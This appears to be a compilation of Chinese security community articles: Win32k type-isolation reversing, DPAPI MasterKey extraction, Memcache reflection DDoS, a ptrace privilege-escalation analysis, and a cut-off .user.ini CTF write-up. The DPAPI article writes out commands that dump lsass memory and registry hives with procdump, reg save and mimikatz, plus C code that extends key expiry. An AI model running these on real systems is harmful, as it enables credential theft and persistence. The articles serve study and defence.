.text:00000001C002DCA1 loc_1C002DCA1: ; DATA XREF: .rdata:00000001C017D540o
.text:00000001C002DCA1 mov [rsp+48h+arg_8], rbx
.text:00000001C002DCA6 jz short loc_1C002DCCC ; if byte[SURFACE+0x270] == 0, the pixel data buffer is not freed
.text:00000001C002DCA8 mov rbx, [rbp+48h] ; rbx = SURFACE->pvScan0
.text:00000001C002DCAC test rbx, rbx
.text:00000001C002DCAF jz short loc_1C002DCCC
.text:00000001C002DCB1 call cs:__imp_IsWin32FreePoolImplSupported
.text:00000001C002DCB7 test eax, eax
.text:00000001C002DCB9 js short loc_1C002DCC4
.text:00000001C002DCBB mov rcx, rbx
.text:00000001C002DCBE call cs:__imp_Win32FreePoolImpl ; frees the pixel data buffer
在此之后，它会开始遍历CSectionEntry对象的双向链表，试图确定哪一个CSectionEntry中包含了需要释放的SURFACE头部。为了实现这一点，只需要检查是否满足CSectionEntry->view
<= SURFACE <= CSectionEntry->view +
0x28000。请大家注意，这一判断条件是存在问题的，正确的判断条件应该为：CSectionEntry->view <= SURFACE <
CSectionEntry->view + 0x28000，其中第二个比较符号应为小于号，而不是小于等于号。
.text:00000001C002DCCC mov rax, cs:uchar * * gpTypeIsolation
.text:00000001C002DCD3 mov rsi, [rax] ; rsi = CTypeIsolation head
[...]
.text:00000001C002DD08 mov rbx, [rsi] ; rbx = CTypeIsolation->next
.text:00000001C002DD0B cmp rbx, rsi ; next == CTypeIsolation ?
.text:00000001C002DD0E jz loc_1C002DDFF ; if so, there's no CSectionEntry
.text:00000001C002DD14 mov r12, 0CCCCCCCCCCCCCCCDh
.text:00000001C002DD1E xchg ax, ax
.text:00000001C002DD20 loc_1C002DD20: ; CODE XREF: SURFACE::Free(SURFACE *)+C5j
.text:00000001C002DD20 mov r14, [rbx+20h] ; r14 = CSectionEntry->bitmap_allocator
.text:00000001C002DD24 mov r8, [r14+10h] ; r8 = bitmap_allocator->xor_key
.text:00000001C002DD28 mov rax, r8
.text:00000001C002DD2B xor rax, [r14+8] ; rax = xor_key ^ xored_view
.text:00000001C002DD2F cmp rbp, rax ; SURFACE < view?
.text:00000001C002DD32 jb short loc_1C002DD3F ; ...if so, skip to the next CSectionEntry
.text:00000001C002DD34 add rax, 28000h ; view += section_size
.text:00000001C002DD3A cmp rbp, rax ; SURFACE <= end of last view?
.text:00000001C002DD3D jbe short loc_1C002DD4C ; if so, we found the view containing the SURFACE header
当满足条件时，意味着我们已经找到了包含着要被释放的SURFACE头部的CSectionEntry。随后，会计算其视图中的SURFACE索引（在这里我们称之为index_within_view），计算方式是获取SURFACE地址中较低的3个
半字节（Nibble），并将其除以0x280。
.text:00000001C002DD4C loc_1C002DD4C: ; CODE XREF: SURFACE::Free(SURFACE *)+BDj
.text:00000001C002DD4C mov rcx, rbp ; rcx = SURFACE header
.text:00000001C002DD4F mov rax, r12
.text:00000001C002DD52 and ecx, 0FFFh
.text:00000001C002DD58 mul rcx
.text:00000001C002DD5B mov r15, rdx
.text:00000001C002DD5E shr r15, 9 ; r15 = (SURFACE & 0xfff) / 0x280 == index_within_view
.text:00000001C002DD62 lea rax, [r15+r15*4]
.text:00000001C002DD66 shl rax, 7 ; rax = r15 * 0x5 * 0x80 == r15 * 0x280
.text:00000001C002DD6A sub rcx, rax ; if rcx == rax, it's ok
.text:00000001C002DD6D jnz short loc_1C002DD3F
随后，SURFACE的地址需要映射到表示RTL_BITMAP中的位索引上。为了获得相应的位索引，首先获取了view_index（也就是这个SURFACE对象所在的0x1000字节视图的位置），然后进行如下计算：view_index
* 6 + index_within_view。
.text:00000001C002DD72 mov eax, ebp ; eax = lo_dword(SURFACE)
.text:00000001C002DD74 xor ecx, [r14+8] ; ecx = lo_dword(xor_key) ^ lo_dword(xored_view)
.text:00000001C002DD78 sub eax, ecx ; eax = lo_dword(SURFACE) - lo_dword(view)
.text:00000001C002DD7A mov rcx, [r14+18h] ; rcx = CSectionBitmapAllocator->xored_rtl_bitmap
.text:00000001C002DD7E shr eax, 0Ch ; eax /= 0x1000 == view_index
.text:00000001C002DD81 xor rcx, r8 ; BitMapHeader = xored_rtl_bitmap ^ xor_key
.text:00000001C002DD84 lea eax, [rax+rax*2]
.text:00000001C002DD87 lea edx, [r15+rax*2] ; BitNumber = view_index * 6 + index_within_view
.text:00000001C002DD8B call cs:__imp_RtlTestBit
.text:00000001C002DD91 test al, al
.text:00000001C002DD93 jz short loc_1C002DD3F ; bit is turned off?
在计算过程中，位索引值会由nt!RtlTestBit()函数进行检查，如果被设置为1，那么执行流会继续进行下面的代码。如下所示，会调用CSectionBitmapAllocator::ContainsAllocation()（但该函数返回的布尔值并不会被检查），然后通过调用nt!RtlClearBit()来清除RTL_BITMAP中的相应位。最后，通过调用memset()来清空已经释放的SURFACE头部内存，并将空闲位的位索引保存为bitmap_hint_index，以便后面的操作能够更有效率。
.text:00000001C002DDA9 mov rdx, rbp ; rdx = SURFACE header
.text:00000001C002DDAC mov rcx, r14 ; rcx = bitmap_allocator
.text:00000001C002DDAF call NSInstrumentation::CSectionBitmapAllocator<163840,640>::ContainsAllocation(void const *)
.text:00000001C002DDB4 mov ecx, [r14+8] ; ecx = CSectionBitmapAllocator->xored_view
.text:00000001C002DDB8 mov eax, ebp ; [!] return value from ContainsAllocation() is not checked
.text:00000001C002DDBA xor ecx, [r14+10h] ; CSectionBitmapAllocator->xored_view ^ CSectionBitmapAllocator->xor_key
.text:00000001C002DDBE sub eax, ecx ; eax = lo_dword(SURFACE) - lo_dword(view)
.text:00000001C002DDC0 mov rcx, [r14+18h] ; rcx = CSectionBitmapAllocator->xored_rtl_bitmap
.text:00000001C002DDC4 xor rcx, [r14+10h] ; BitMapHeader = xored_rtl_bitmap ^ xor_key
.text:00000001C002DDC8 shr eax, 0Ch ; eax /= 0x1000 == view_index
.text:00000001C002DDCB lea eax, [rax+rax*2]
.text:00000001C002DDCE lea esi, [r15+rax*2]
.text:00000001C002DDD2 mov edx, esi ; BitNumber = view_index * 6 + index_within_view
.text:00000001C002DDD4 call cs:__imp_RtlClearBit ; mark the slot as available
.text:00000001C002DDDA xor edx, edx ; Val
.text:00000001C002DDDC mov r8d, 280h ; Size
.text:00000001C002DDE2 mov rcx, rbp ; Dst
.text:00000001C002DDE5 call memset ; null-out the freed SURFACE header in the view
.text:00000001C002DDEA xor edx, edx
.text:00000001C002DDEC mov [r14+20h], esi ; bitmap_allocator->bitmap_hint_index = index of freed slot
### 4.5 WinDBG扩展
在对Win32k类型隔离的逆向工程中，我开发了一个WinDBG的扩展，来帮助我们将类型隔离的结构状态转储出来。该扩展可以从这里下载：<https://github.com/fdfalcon/TypeIsolationDbg>
。
WinDBG扩展中，提供了以下命令：
!gptypeisolation [address]：打印最高级CTypeIsolation结构（默认地址：
win32kbase!gpTypeIsolation）。
!typeisolation [address]：打印一个NSInstrumentation::CTypeIsolation结构。
!sectionentry [address]：打印一个NSInstrumentation::CSectionEntry结构。
!sectionbitmapallocator
[address]：打印一个NSInstrumentation::CSectionBitmapAllocator结构。
!rtlbitmap [address]：打印一个RTL_BITMAP结构。
该扩展的输出中，有一些可以点击的链接，可以帮助我们跟踪类型隔离的数据结构。此外，它还会对异或后的指针进行解码，为我们省去了一个步骤。下面的代码片段展示了在转储全局CTypeIsolation对象时TypeIsolationDbg的输出，跟随单个CSectionEntry的数据结构，直到代表CSectionEntry中内容忙/闲状态的位映射：
kd> !gptypeisolation
win32kbase!gpTypeIsolation is at address 0xffffe6cf95138a98.
Pointer [1] stored at win32kbase!gpTypeIsolation: 0xffffe6a4400006b0.
Pointer [2]: 0xffffe6a440000680.
NSInstrumentation::CTypeIsolation
+0x000 next : 0xffffe6a440000620
+0x008 previous : 0xffffe6a441d8ca20
+0x010 pushlock : 0xffffe6a440000660
+0x018 size : 0xF00 [number of section entries: 0x10]
kd> !sectionentry ffffe6a440000620
NSInstrumentation::CSectionEntry
+0x000 next : 0xffffe6a441ca2470
+0x008 previous : 0xffffe6a440000680
+0x010 section : 0xffff86855f09f260
+0x018 view : 0xffffe6a4403a0000
+0x020 bitmap_allocator : 0xffffe6a4400005e0
kd> !sectionbitmapallocator ffffe6a4400005e0
NSInstrumentation::CSectionBitmapAllocator
+0x000 pushlock : 0xffffe6a4400005c0
+0x008 xored_view : 0xa410b31c3f332f4c [decoded: 0xffffe6a4403a0000]
+0x010 xor_key : 0x5bef55b87f092f4c
+0x018 xored_rtl_bitmap : 0xa410b31c3f092acc [decoded: 0xffffe6a440000580]
+0x020 bitmap_hint_index : 0xC0
+0x024 num_commited_views : 0x27
kd> !rtlbitmap ffffe6a440000580
RTL_BITMAP
+0x000 size : 0xF0
+0x008 bitmap_buffer : 0xffffe6a440000590
kd> dyb ffffe6a440000590 L20
76543210 76543210 76543210 76543210
-------- -------- -------- -------- ffffe6a4`40000590 00000101 00000000 00000110 10110000 05 00 06 b0
ffffe6a4`40000594 00011100 10000000 11011011 11110110 1c 80 db f6
ffffe6a4`40000598 01111101 11111111 11111111 11111111 7d ff ff ff
ffffe6a4`4000059c 11111111 11011111 11110111 01111111 ff df f7 7f
ffffe6a4`400005a0 11111111 11111111 11111111 01111111 ff ff ff 7f
ffffe6a4`400005a4 11111101 11111001 11111111 01101111 fd f9 ff 6f
ffffe6a4`400005a8 11111110 11111111 11111111 11111111 fe ff ff ff
ffffe6a4`400005ac 11111111 00000011 00000000 00000000 ff 03 00 00
### 4.6 总结
在Windows 10 1709的Win32k组件中实现的类型隔离缓解措施，调整了GDI
Bitmap对象在内核空间中的分配方式：SURFACE头部在Section视图上分配，而像素数据缓冲区则在PagedPoolSession池上分配。这样一来，由于像素数据缓冲区的末尾不再紧跟着下一个SURFACE对象的头部，因此就无法实现相邻Bitmap的定向喷射，所以无法再利用Bitmaps作为有限的内存损坏漏洞利用目标。
在此之后，攻击者已经开始聚焦于其他可以利用的内核对象，例如Palettes。详情请参考：
<https://sensepost.com/blog/2017/abusing-gdi-objects-for-ring0-primitives-revolution/>
<https://labs.bluefrostsecurity.de/files/Abusing_GDI_for_ring0_exploit_primitives_Evolution_Slides.pdf>
<http://theevilbit.blogspot.com/2017/10/abusing-gdi-objects-for-kernel.html>
值得一提的是，CSectionBitmapAllocator对象既保留了指向Section视图的指针，又同时保留了异或操作混淆后的RTL_BITMAP指针。然而，父CSectionEntry结构会保持与视图相同的指针。
## 五、致谢
非常感谢Quarkslab的同事们对这篇文章进行校对，并提出了反馈意见。
## 六、参考文章
[1] <https://msdn.microsoft.com/en-us/library/dd183377(v=vs.85).aspx>
[2] <https://www.coresecurity.com/system/files/publications/2016/10/Abusing-GDI-Reloaded-ekoparty-2016_0.pdf>
[3] <https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/section-objects-and-views>
[4] <https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/managing-memory-sections>
[5] <https://sensepost.com/blog/2017/abusing-gdi-objects-for-ring0-primitives-revolution/>
[6]
<https://labs.bluefrostsecurity.de/files/Abusing_GDI_for_ring0_exploit_primitives_Evolution_Slides.pdf>
[7] <http://theevilbit.blogspot.com/2017/10/abusing-gdi-objects-for-kernel.html>
原文链接： | 社区文章 |
## 0x00前言
对于Windows系统，用户的加密数据大都采用DPAPI进行存储，而想要解密这些数据解，必须要获得DPAPI对应的MasterKey。本文将会介绍在获得了Windows系统的权限后获得MasterKey的方法，同时分析Preferred文件格式，延长MasterKey的有效期
## 0x01 简介
本文将要介绍以下内容
* 基本概念
* 获得MasterKey的方法
* 解析Preferred文件
* 修改MasterKey失效时间
## 0x02 基本概念
### DPAPI：
全称Data Protection Application Programming Interface
作为Windows系统的一个数据保护接口被广泛使用
主要用于保护加密的数据，常见的应用如：
* EFS文件加密
* 存储无线连接密码
* Windows Credential Manager
* Internet Explorer
* Outlook
* Skype
* Windows CardSpace
* Windows Vault
* Google Chrome
### Master Key：
64字节，用于解密DPAPI blob，使用用户登录密码、SID和16字节随机数加密后保存在Master Key file中
### Master Key file：
二进制文件，可使用用户登录密码对其解密，获得Master Key
分为两种：
* 用户Master Key file，位于%APPDATA%\Microsoft\Protect\%SID%
* 系统Master Key file，位于%WINDIR%\System32\Microsoft\Protect\S-1-5-18\User
### Preferred文件：
位于Master Key file的同级目录，显示当前系统正在使用的MasterKey及其过期时间，默认90天有效期
## 0x03 获得MasterKey的方法
本节主要介绍通过mimikatz获得MasterKey的方法
### 1、在线获取
通过读取Lsass进程信息，获取当前系统中的MasterKey，能获得多个Master Key file对应的MasterKey
管理员权限：
privilege::debug
sekurlsa::dpapi
如下图
### 2、离线读取
#### 思路一：
使用procdump dump出LSASS进程内存
管理员权限：
procdump.exe -accepteula -ma lsass.exe lsass.dmp
使用mimikatz加载dmp文件并获取各个Master Key file对应的MasterKey：
sekurlsa::minidump lsass.dmp
sekurlsa::dpapi
#### 思路二：
参考资料：
<https://github.com/gentilkiwi/mimikatz/wiki/howto-~-scheduled-tasks-credentials>
1、复制注册表文件
管理员权限：
reg save HKLM\SYSTEM SystemBkup.hiv
reg save HKLM\SECURITY SECURITY.hiv
2、从注册表文件中获得DPAPI_SYSTEM
mimikatz log "lsadump::secrets /system:SystemBkup.hiv /security:SECURITY.hiv"
如下图
DPAPI_SYSTEM中的user
hash为`c2872cf6d6d4db31c6c8d33beb49b482e78e7ce3`，能够用来解密位于`%WINDIR%\System32\Microsoft\Protect\S-1-5-18\User`下的系统Master
Key file
3、解密系统Master Key file，获得MasterKey
mimikatz "dpapi::masterkey /in:C:\Windows\System32\Microsoft\Protect\S-1-5-18\User\04ece708-132d-4bf0-a647-e3329269a012 /system:c2872cf6d6d4db31c6c8d33beb49b482e78e7ce3"
解密获得MasterKey为`3e9d7f32f2e57933ead318d075efc82325697d87d992b626a20abb5f0ffba6f073d282a837b6fa058ecff36039aa944e04b3dfb666ebace44aad6bff8789ca43`
如下图
## 0x04 解析Preferred文件
位于Master Key file的同级目录，显示当前系统正在使用的MasterKey file及其过期时间
格式如下：
typedef struct _tagPreferredMasterKey
{
GUID guidMasterKey;
FILETIME ftCreated;
} PREFERREDMASTERKEY, *PPREFERREDMASTERKEY;
例如C:\Users\b\AppData\Roaming\Microsoft\Protect\S-1-5-21-2884853959-2080156797-250722187-1002\Preferred
如下图
前16字节`F6 B0 11 A1 D7 B4 C8 40 B5 36 67 2A 82 88 B9
58`对应guid，调整格式后，对应文件为`a111b0f6-b4d7-40c8-b536-672a8288b958`
后8字节`D0 08 9F 7D 11 EC D3 01`对应过期时间
对于表示时间的FILETIME，格式如下：
typedef struct _FILETIME {
DWORD dwLowDateTime;
DWORD dwHighDateTime;
} FILETIME, *PFILETIME;
想要显示成日常使用的时间格式，需要将FILETIME类型转成SYSTEMTIME类型
在程序实现上，还需要注意使用sscanf_s函数将字符串转换为DWORD格式
可供参考的C代码如下：
#include <windows.h>
int main(void)
{
FILE *fp;
unsigned char buf[24];
fopen_s(&fp,"Preferred","rb");
fread(buf,1,24,fp);
printf("Data: ");
for(int i=0;i<24;i++)
{
printf("%02x",buf[i]);
}
fclose(fp);
printf("\nguidMasterKey: %02x%02x%02x%02x-%02x%02x-%02x%02x-%02x%02x-%02x%02x%02x%02x%02x%02x\n",buf[3],buf[2],buf[1],buf[0],buf[5],buf[4],buf[7],buf[6],buf[8],buf[9],buf[10],buf[11],buf[12],buf[13],buf[14],buf[15]);
char lowDateTime[9],highDateTime[9];
sprintf_s(lowDateTime,9,"%02X%02X%02X%02X",buf[19],buf[18],buf[17],buf[16]);
sprintf_s(highDateTime,9,"%02X%02X%02X%02X",buf[23],buf[22],buf[21],buf[20]);
printf("dwLowDateTime:%s\n",lowDateTime);
printf("dwHighDateTime:%s\n",highDateTime);
FILETIME ftUTC;
SYSTEMTIME stUTC2;
sscanf_s(lowDateTime,"%x",&ftUTC.dwLowDateTime);
sscanf_s(highDateTime,"%x",&ftUTC.dwHighDateTime);
FileTimeToSystemTime(&ftUTC, &stUTC2);
printf("");
printf("Expiry time: %d-%d-%d %d:%d:%d\n", stUTC2.wYear, stUTC2.wMonth, stUTC2.wDay, stUTC2.wHour, stUTC2.wMinute, stUTC2.wSecond);
return 0;
}
**注：**
也可以使用fread读取int型数据来解决字符串倒序的问题
读取Preferred文件，解析出当前系统正在使用的Master Key file的guid和过期时间
测试如下图
## 0x05 修改MasterKey失效时间
修改思路：
输入过期时间，将过期时间转为FILETIME格式，替换Preferred文件的FILETIME
可供参考的c代码如下：
#include <windows.h>
int main(void)
{
SYSTEMTIME st={0};
FILETIME ft={0};
printf("[+]Start to change expiry time...\n");
st.wYear = 2019;
st.wMonth = 12;
st.wDay = 30;
st.wHour = 12;
st.wMinute = 30;
st.wSecond = 30;
printf("[+]New expiry time:%d-%d-%d %d:%d:%d\n", st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond);
SystemTimeToFileTime(&st,&ft);
printf("dwLowDateTime:%08x\n",ft.dwLowDateTime);
printf("dwHighDateTime:%08x\n",ft.dwHighDateTime);
FILE *fp;
fopen_s(&fp,"Preferred","rb+");
fseek(fp,16,SEEK_SET);
fwrite(&ft.dwLowDateTime,sizeof(int),1,fp);
fwrite(&ft.dwHighDateTime,sizeof(int),1,fp);
fclose(fp);
printf("[+]Change success.\n");
return 0;
}
读取Preferred文件，将过期时间设置为2019-12-30 12:30:30
修改后重新读取Preferred文件信息，成功修改，如下图
## 0x06 小结
本文总结了在获得了Windows系统的权限后获得MasterKey的方法，编写程序自动分析Preferred文件格式并延长MasterKey的有效期
> 本文为 3gstudent 原创稿件， 授权嘶吼独家发布，如若转载，请联系嘶吼编辑：
> <http://www.4hou.com/technology/10477.html> | 社区文章 |
# Memcache UDP反射放大攻击技术分析
##### 译文声明
本文是翻译文章，文章原作者 blog.netlab.360.com
原文地址：<https://blog.netlab.360.com/p/63027cdd-cead-4d0d-bbe8-8f304078adb0/>
译文仅供参考，具体内容表达以及含义原文为准。
### **传送门：[Memcache UDP 反射放大攻击 II:
最近的数据分析](https://www.anquanke.com/post/id/100586)**
本篇技术blog，由360信息安全部0kee Team、360网络安全研究院、360-CERT共同发布。Memcache UDP 反射放大攻击（以下简称
Memcache DRDoS）在最近的一周里吸引了安全社区的较多注意。以下介绍我们对该类型攻击观察到的情况。
## 在PoC 2017 会议上的原始报告
Memcache DRDoS，由360信息安全部0kee Team在2017-06 附近首先发现，并于 2017-11 在 [PoC
2017](http://powerofcommunity.net/2017.htm) 会议上做了公开报告。会议报告在
[这里](http://powerofcommunity.net/poc2017/shengbao.pdf)，其中详细介绍了攻击的原理和潜在危害。
在这份文档中，作者指出这种攻击的特点：
* memcache 放大倍数超高，至少可以超过50k；
* memcache 服务器（案例中的反射点）数量较多，2017-11时估算全球约有 60k 服务器可以被利用，并且这些服务器往往拥有较高的带宽资源。
基于以上特点，作者认为该攻击方式可以被利用来发起大规模的DDoS攻击，某些小型攻击团队也可能因此获得原先没有的大流量攻击能力。
## 在 DDoSMon 上观察到的现网趋势
自批露以来，我们就一直利用 [DDoSMon 的统计页面](https://ddosmon.net/insight) 持续监控Memcache
DRDoS在实际现网中的情况。在过去的几个月中，这种类型攻击的频率和单次破坏性都不大，但是自2018-02-24开始，这种情况发生了较大变化。
近期，Memcache DRDoS 的攻击频率上升到了平时的10+倍，从每天小于50件，上升到每天300~400件，如下图所示。
需要指出，当前 Memcache DRDoS 仍然还不是DDoS的主流。即使在反射类DDoS中，也只占 1% 以下（按攻击事件计），排在
DNS、CLDAP、NTP、SSDP、CharGen、L2TP、BitTorrent、Portmap、SNMP的后面。
## 我们在现网中对 Memcache DRDoS 攻击方式的测试结果
我们对现网实际环境做了测试，结合分析我们捕获的实际攻击载荷，有以下内容值得关注：
* 这种反射攻击的放大比率，在理想的测试环境中，可以稳定的测得 1k~60k之间的放大倍数；
* 在现网实际环境中， 60k 的放大倍数，也是可以稳定的测得的；
* 上述实测结果，与最初报告者0kee team的估计、[US-CERT安全通告](https://www.us-cert.gov/ncas/alerts/TA14-017A)中的提法，基本是一致的；
* 此外我们分析了现网实际发生的攻击负载。到目前为止，部分负载的构造是有问题，可能会导致memcache服务崩溃，并不能稳定的打出最大放大倍数。但是这里涉及的技术改进并不困难，攻击者容易做出响应调整。
另外，我们对将放大倍数调整到 60k 以上做了一些初步分析。我们怀疑这个比例是可以继续显著提高的，但具体技术细节不会在这里讨论。
## 当前已知 Memcache DRDoS 攻击的案例
2月27日，Qrator Labs 在 medium.com 上 [批露](https://medium.com/@qratorlabs/the-memcached-amplification-attack-reaching-500-gbps-b439a7b83c98)
了一次DDoS攻击。按照文章的说法，这次攻击确信就是 UDP 11211 端口上的 memcache DRDoS，攻击流量峰值达到 480Gbps。
除了这个案例以外，我们确认有更大的攻击已经实际发生，但并未被公开报道。
## 当前已知各国运营商、安全社区的应对措施
目前已经有多个相关安全通告，部分列出如下：
* 通告类：多个主要设备厂商、安全厂商、CERT已经发布通告，例如[CloudFlare](https://blog.cloudflare.com/memcrashed-major-amplification-attacks-from-port-11211/)、[Qrator Labs](https://medium.com/@qratorlabs/the-memcached-amplification-attack-reaching-500-gbps-b439a7b83c98)、[Arbor Networks](https://www.arbornetworks.com/blog/asert/memcached-reflection-amplification-description-ddos-attack-mitigation-recommendations/)、[US-CERT](https://www.us-cert.gov/ncas/alerts/TA14-017A)，等等
* 预防和防御类：包括 [NTT](https://mailman.nanog.org/pipermail/nanog/2018-March/094350.html) 在内的多个ISP 已经对 UDP 11211 采取限速措施。
应对建议方面，ISP、网络管理员、企业用户可以从很多渠道获得应对建议，例如 [这里](http://www.senki.org/memcached-on-port-11211-udp-tcp-being-exploited/)。我们建议：
* 各运营商 ISP、云服务厂商，考虑在自己的网络内对UDP 11211 采取限速措施
* 各开发者和 memcache 管理者，考虑自查 memcache 设定ACL
总体而言，一方面，我们开始担忧1Tbps以上的DDoS攻击案例今后会比较频繁的出现，DDoS攻击开始从 G 时代进入 T 时代（Gbps vs
Tbps）；另一方面，我们必须指出至少在当前 Memcache DRDoS 还不是DDoS 攻击的主流，比例还在 1% 以下（按次数统计）。 | 社区文章 |
# Linux ‘PTRACE_TRACEME’提权漏洞（CVE-2019-13272）分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 漏洞背景
`ptrace`是linux的进程调试syscall，我们可以使用它在一个进程(tracer)中追踪调试另一个进程(tracee)。
`PTRACE_TRACEME`被tracee使用，作用是让自己的父进程成为自己的tracer。例如我们执行fork之后，在child中执行`PTRACE_TRACEME`，这样parent就成为了tracer，child成为tracee。
## 漏洞成因
我们从[补丁](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=6994eefb0053799d2e07cd140df6c2ea106c41ee)看起：
这个补丁修复了两个bug，我们关心的是`__task_cred(new_parent)`到`current_cred()`的变动。
补丁之前的ptrace_link()是这样处理的：
这样，我们的child就可以获取new_parent的credentials。
如果一个child执行了`PTRACE_TRACEME`，最终会调用`ptrace_link()`。它的parent会成为tracer，它本身加入parent的ptraced列表，且parent的credentials会被child获取，存储于`child->ptracer_cred`。
一个普通权限的用户可以利用这一点创建一个privileged的ptrace关系，并用其完成提权。大致思路是，当ptracer是privileged进程时，它的tracee（也就是child），使用`execve`执行一个suid程序，会是正常的suid模式，也就是获得suid程序owner的权限，其EUID改变。
`execve()`的作用是用新的程序替换掉当前进程的image，不涉及进程创建，进程属性也大多保持不变。
当执行的程序具有SUID时，进程的euid会变为程序文件owner的uid。但有例外：
我们的使用情景符合第三个情况，于是`execve`执行的suid程序是不会set-UID的，那么tracee执行suid程序到底有没有set-UID，就靠ptrace机制自己决定。
然后`ptrace`的机制就是，如果tracer是priviliged，那么tracee就可以set-UID。
我们回想一下PTRACE_TRACEME的过程，当parent没有trace
child的时候，它可能是privileged进程，这时我们的child使用PTRACE_TRACEME，强制parent成为自己的tracer，那么child在ptrace看来就是由一个priviliged进程所trace的，它执行suid程序也就可以实现set-UID了。
再解释个可能的疑问。既然`execve`执行suid程序正常情况下可以获得set-UID，那我们直接执行suid程序然后replace为我们自己的程序可以么？听起来好像可以，但`execve`执行成功之后永远不会return到你调用它的函数里，因为原进程已经被replace了，你无法继续往它里面注入自己的程序，换言之，suid程序的执行不受你的控制。但`ptrace`机制保证了你可以对tracee进行完全控制，你完全可以在tracee做了set-UID之后，replace它的程序为自己的程序。
然后还有一点，你也不能替换掉tracer进程的程序，因为当它执行suid程序时，是无法被你trace的，你也就无法借用上文所述的方法去注入你的程序。这个叫做dumpable：
如何使用`ptrace`操作tracee，使其程序被替换为我们想要的程序，这本身也是比较有技术含量的。
如图，作者先`wait`目标tracee的pid让其正常exit，然后从fd参数执行想要的程序（`execveat()`，使用syscall实现的）替换掉原程序，并detach，等待它的exit。
执行syscall的时候，它也改变了程序的`argv`为`*arg0`，然后该程序（也就是poc本身）的`main`会判断`argv`来执行不同stage。
注：在linux的文档中，credentials是指process identifiers，它们包括了PID信息，以及user/group
identifiers等等，后者也就是UID/GID，具体分如下情况（我们通常只关心前三个）：
其中saved set-user-ID用于保存程序执行前的effective UID，例如一个普通权限的UID 1000。这个机制对具有set-user-ID的程序起作用，它们可以drop掉自己的privileged身份（切换到saved set-user-ID），也可以重新claim权限（切到real
user-ID）。
## 漏洞利用
漏洞作者 [email protected] 的利用思路相当巧妙，涉及两个ptrace和三个stage。
具体解释如下：
1. task A: `fork()`一个child, task B
2. task B: `fork()`一个child, task C
3. task B: `execve(/some/special/suid/binary)`，这里是`pkexec`：
`pkexec`是具有set-UID的binary程序，它执行时是其owner也就是root的身份，但我们的A无法attach到这个privileged进程，于是我们接着就需要drop
privilege，也就是前文所述的原理，这样才能被A `PTRACE_ATTACH`并控制。
这里`pkexec`指定了`--user`为当前用户，其`execve`的helper也就最终变成了dumpable的进程，可以被A所`PTRACE_ATTACH`。
4. task C: 使用`PTRACE_TRACEME` (建立 privileged ptrace relationship)，结合3来看，我们的C在`pkexec`运行时，可以得到一个root身份的tracer：
5. task C: `execve(/usr/bin/passwd)`，此时C的进程就是运行`passwd`了，这是以root身份运行的set-UID程序。
由于`PTRACE_TRACEME`的使用，C在`execve()`这里收到`SIGTRAP`，挂起以供其tracer追踪。
1. task B: drop privileges (`setresuid(getuid(), getuid(), getuid()))`，这里poc是使用`pkexec`的`--user`选项完成了这些工作。
2. task B: become dumpable again (e.g. `execve(/some/other/binary)`)，B进程的程序替换为helper，然后重新成为dumpable的程序（因为SUID程序非dumpable）。
3. task A: 此时A可以`PTRACE_ATTACH`到B进程，成为其tracer。
4. task A: use `ptrace` to take control of task B
5. task B: use `ptrace` to take control of task C
stage 1是A进程起始，直到attach到B进程之后，在B中执行stage 2。
stage 2中，B使用`waitpid()`去获取child pid (C)，并在C执行stage
3，也就是`spawn_shell()`，通过`setresgid()`和`setresuid()`，把自己的uid和gid全部设为0，并执行bash，弹出root
shell。
C在执行stage
3的时候，是有`CAP_SETUID`权限的，因为它在此之前通过其tracer的privileged身份，执行的passwd是以正常的SUID执行（passwd的owner是root），也就是说C进程成为了root身份（passwd的owner）。
最后，poc的测试结果如下图。
本poc使用的`pkexec`只可以在本地session运行，否则需要二次认证，因此无法在ssh session中使用。
## 参考资料
● <https://bugs.chromium.org/p/project-zero/issues/detail?id=1903>
● <http://man7.org/linux/man-pages/man2/ptrace.2.html>
●
<https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=6994eefb0053799d2e07cd140df6c2ea106c41ee>
● <http://man7.org/linux/man-pages/man7/capabilities.7.html> | 社区文章 |
# 前言
在前段时间SUCTF 2019的比赛中做了一道名为 **CheckIn** 的文件上传题，学到了一种新的利用姿势—— **.user.ini** 。
原题的链接已经失效了，但SU的师傅们把题目源码贴在GitHub上了（感谢师傅们！！），如果想尝试的话可以下载源码复现，在这里放一下地址：
<https://github.com/team-su/SUCTF-2019>
* * *
## CheckIn题目分析
首先我们来看一下题目，首页就是一个简单的上传界面：
我们先上传一个php文件试一下，显然是illegal的
经过fuzz发现修改`content-type`和利用特殊扩展名`php5`、`pht`等都没有成功（当然也不会这么简单233）
然后我们把扩展名改为`aaa`试一下会怎样，发现回显：`<? in
contents!`，那么就是说文件内容不能包含`<?`喽，但我们此时知道它是黑名单过滤了。
我们再把文件内容换一下，发现回显：`exif_imagetype:not
image!`，猜测后端应该调用了php的`exif_imagetype()`函数，这个很好绕过，添加图片文件头就可以了
我们添加最简单的gif文件头`GIF89a`，发现上传成功（注意看该文件夹下还有一个index.php，当时没有注意，但在后面有大用处）
我们先来捋一下思路：
-> 上传过滤为黑名单，但php脚本文件应该是无法上传的
-> 存在文件头过滤，需要添加图片文件的文件头
-> 文件的内容不能包含`<?`，但可以上传`<script language='php'><scirpt>`类型的图片马来绕过
既然是黑名单过滤而且可以上传图片马，那我们首先想到的肯定是传一个.htaccess上去来将图片马解析为php，而这种方法经过尝试发现失败了。。。
看了一下服务器是 **nginx 1.10.3** ，似乎版本较高，不存在解析漏洞。
随后在网上看到了一篇p牛的文章，讲的是利用`.user.ini`来上传php后门
* * *
## .user.ini
我们先在php手册上看一下对`.user.ini`的介绍：
也就是说我们可以在`.user.ini`中设置`php.ini`中 **PHP_INI_PERDIR** 和 **PHP_INI_USER** 模式的
INI 设置，而且只要是在使用 **CGI／FastCGI** 模式的服务器上都可以使用`.user.ini`
在p牛的文章中提到了两个有趣的设置： **auto_prepend_file** 和 **auto_append_file**
我们再到手册中看了下这两个设置的定义：
大致意思就是：我们指定一个文件（如a.jpg），那么该文件就会被包含在要执行的php文件中（如index.php），类似于在index.php中插入一句：`require(./a.jpg);`
这两个设置的区别只是在于 **auto_prepend_file** 是在文件前插入； **auto_append_file**
在文件最后插入（当文件调用的有`exit()`时该设置无效）
## 寻找突破getflag
